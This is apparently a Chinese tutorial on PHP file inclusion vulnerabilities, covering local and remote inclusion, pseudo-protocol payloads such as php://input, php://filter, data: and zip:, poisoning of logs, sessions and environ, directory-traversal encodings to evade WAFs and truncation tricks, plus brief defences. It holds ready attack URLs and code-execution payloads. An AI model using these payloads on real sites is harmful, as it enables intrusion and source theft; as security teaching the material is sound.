参考链接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/

四大漏洞函数

PHP文件包含漏洞主要由于四个函数引起的:

  • include()
  • include_once()
  • require()
  • require_once()

require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。

include()/include_once(): 如果在包含过程中出错,只会发出警告

加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含

当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析

基本实现场景

例如,有如下index.php文件

<?php
$file=$_GET['file'];
include $file;
?>

在同一目录下,有如下txt文件:

<?phpinfo();?>

当页面访问index.php的时候,如果输入URL:

http://...../index.php?file=phpinfo.txt

就会轻而易举执行txt中的phpinfo()函数,并回显内容。

总结:这种情况的实现条件是:

  • PHP代码中有相关的文件包含函数:比如 include $file
  • 攻击者能够对包含的变量进行传递参数:比如 \$file=$_GET['file'];

文件包含漏洞的分类

本地文件包含漏洞LFI

  • 就是能够访问目标URL本地的文件内容

远程文件包含漏洞RFI

  • 包含远程服务器文件并执行
  • 这种漏洞危害较大
  • 需要在php.ini中设置两个参数:
    • allow_url_fopen=on
    • allow _url_include=on

PHP伪协议

php://input

实现条件:

  • allow_url_fopen=on
  • allow _url_include=on/off
  • PHP版本5.3.0以下

实现方法:

在URL中输入:

index.php?php://input

之后利用hackbar等工具进行post传参:

POST <?php system('whoami');?>

这个漏洞已经比较老了

php://filter

实现条件:没有条件

实现方法:

利用这个伪协议可以打开我们想要的文件:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php
or
index.php?file=php://filter/convert.base64-encode/resource=index.php

这样文件会以base64的编码打开,使用python解码即可

import base64
print(base64.b64decode("........."))

phar:// 和zip://

实现条件

  • PHP版本大于5.3.0

实现方法

这两个方法都可以解析zip压缩文件里面的文件内容并当做脚本执行:

假设test.zip里面有个文件为phpinfo.txt,解析执行phpinfo.txt的方法有:

index.php?file=phar://D:/phpstudy/www/..../test.zip/phpinfo.txt (绝对路径)
index.php?file=phar://test.zip/phpinfo.txt (相对路径)
or
index.php?file=zip://D:/phpstudy/www/.../test.zip/phpinfo.txt (zip必须是绝对路径)

data:[URL],[schema]

实现条件

  • allow_url_fopen=on
  • allow _url_include=on
  • php版本大于5.2

实现方法

index.php?file=data:URL,<?phpinfo();?>
or
index.php?file=data:URL;base64,PD9waHAgcGhwaW5mbygpOz8%2b

其中:加号+的url编码为%2b, PD9waHAgcGhwaW5mbygpOz8+ 的base64解码为:

文件包含

包含session

实现条件:

  • session文件路径已知,且其中内容部分可控
  • php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见session文件路径

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

包含日志

实现条件:需要知道服务器日志的存储路径,且日志文件可读。

web服务器会将请求写入到日志文件中

比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含

包含SSH log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

用ssh连接:

ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在remotehost的ssh-log中即可写入php代码:

之后进行文件包含即可。

包含environ

利用条件:

php以cgi方式运行,这样environ才会保持UA头。

environ文件存储位置已知,且environ文件可读。

姿势:

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含临时文件:

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

绕过WAF

在日常情况下,碰到的可能是如下这种有前缀又有后缀的情况

<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

只指定了前缀:

考虑这种只有前缀的情况

<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

现在在/var/log/test.txt文件中有php代码,则利用../可以进行目录遍历,比如我们尝试访问:

include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

编码绕过:

利用url编码

  • ../

    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\
    • %2e%2e%5c
    • ..%5c
    • %2e%2e\

二次编码

  • ../

    • %252e%252e%252f
  • ..\
    • %252e%252e%255c

容器/服务器的编码方式

  • ../

    • ..%c0%af
    • %c0%ae%c0%ae/

      注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)

      Apache Tomcat Directory Traversal
  • ..\
    • ..%c1%9c

只指定了后缀:

如下的情况:

<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

可以采用URL的格式绕过:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

使用query绕过

index.php?file=http://remoteaddr/remoteinfo.txt?

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

使用fragment绕过

index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23。

利用协议绕过

前面有提到过利用zip协议和phar协议。假设现在测试代码为:

<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

构造压缩包如下:

其中test.php内容为:

利用zip协议,注意要指定绝对路径

index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

能成功包含。

长度截断绕过

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

0字节截断

利用条件: php版本 < php 5.3.4

index.php?file=phpinfo.txt%00

防御方案

  • 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  • 做好文件的权限管理
  • 对危险字符进行过滤等等

PHP文件包含漏洞小结的更多相关文章

  1. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  2. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  3. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  4. Nagios Looking Glass 本地文件包含漏洞

    漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...

  5. WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞

    漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...

  6. 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

    题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...

  7. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  8. php安全开发(1)文件包含漏洞

    开发过程总结的漏洞: 一,,如何造成包含漏洞:在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶 ...

  9. 易酷 cms2.5 本地文件包含漏洞 getshell

    易酷 cms2.5  本地文件包含漏洞 getshell 首先下载源码安装(http://127.0.0.1/test/ekucms2.5/install.php) 安装成功直接进行复现吧 本地包含一 ...

随机推荐

  1. 【原创】利用动态二进制加密实现新型一句话木马之PHP篇

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  2. .NET 6 全新指标 System.Diagnostics.Metrics 介绍

    前言 工友们, .NET 6 Preview 7 已经在8月10号发布了, 除了众多的功能更新和性能改进之外, 在 preview 7 版本中, 也新增了全新的指标API, System.Diagno ...

  3. python中的logging日志

    logging使用 import logging import os from logging import handlers from constants.constants import Cons ...

  4. .Net 生成带注释的Nuget包

    使用.NET Core时,我们的类库都要打包成nuget包上传到nuget服务器,以供自己或他人使用 .Net sdk提供了一个 .Net pack 命令可以生成nuget包.比如下面的命令 dotn ...

  5. UWP 动画之路径

    xml --------------------------------------------- <Page x:Class="MyApp.MainPage" xmlns= ...

  6. LeetCoded第242题题解--java--数组

    数组 数组的优点在于: 构建非常简单 能在 O(1) 的时间里根据数组的下标(index)查询某个元素(连续内存+对象指向数组下标0位置+index能够直接找到元素) 而数组的缺点在于: 构建时必须分 ...

  7. URL的加密解密方法

    package day11.about_url_encoder; import java.io.UnsupportedEncodingException; import java.net.URLDec ...

  8. 硬核! Github上 ,star超高的Java 开源项目分享给你!

    Awsome JavaGreat Java project on Github(Github 上非常棒的 Java 开源项目). English Version 大家都知道 Github 是一个程序员 ...

  9. Clean Architecture For RazorPage 实现多语言和本地化

    最近终于把多语言功能加上了,这次就再发一篇,讲一下在asp.net core环境下如何实现多语言和本地化(Globalization and localization)功能,主要参看:ASP.NET ...

  10. SpringMVC笔记(3)

    一.SpringMVC 拦截器 1.1 快速入门 步骤 创建拦截器类实现HandlerInterceptor接口 public class MyInterceptor01 implements Han ...